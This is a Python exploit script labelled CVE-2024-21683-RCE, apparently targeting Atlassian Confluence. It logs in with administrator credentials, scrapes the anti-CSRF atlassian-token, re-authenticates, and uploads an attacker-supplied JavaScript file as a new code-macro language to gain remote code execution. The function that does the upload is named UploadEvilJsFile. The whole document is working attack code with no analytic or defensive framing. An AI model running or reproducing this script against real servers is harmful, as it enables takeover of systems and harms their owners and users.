import argparse import os import requests from bs4 import BeautifulSoup def GeyAltToken(url, proxy, session): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" } alttoken_url = f"{url}/admin/plugins/newcode/configure.action" resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20) if "atlassian-token" in resp.text: soup = BeautifulSoup(resp.text, 'html.parser') meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'}) if meta_tag: content_value = meta_tag.get('content') return content_value else: print("Meta tag not found") def LoginAsAdministrator(session, url, proxy, username, password): login_url = url + "/dologin.action" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = f"os_username={username}&os_password={password}&login=%E7%99%BB%E5%BD%95&os_destination=%2F" session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20) def DoAuthenticate(session, url, proxy, password, alt_token): login_url = url + "/doauthenticate.action" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = f"atl_token={alt_token}&password={password}&authenticate=%E7%A1%AE%E8%AE%A4&destination=/admin/viewgeneralconfig.action" session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20) def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token): url = f"{url}/admin/plugins/newcode/addlanguage.action" data = { "atl_token": alt_token, "newLanguageName": "test" } files = { "languageFile": ( jsFilename, jsFileContent, "text/javascript") } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" } session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20) def ParseArgs(): parser = argparse.ArgumentParser(description="CVE-2024-21683-RCE") parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True) parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False) parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True) parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True) parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True) parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True) return parser.parse_args() if __name__ == '__main__': args = ParseArgs() if not args.proxy: proxy = {} else: proxy = { "http": args.proxy, "https": args.proxy } session = requests.session() jsfn = os.path.basename(args.file) jsfc = open(args.file, "r", encoding="utf-8").read() LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password) alt_token = GeyAltToken(args.url.strip("/"), proxy, session) DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_password, alt_token) UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)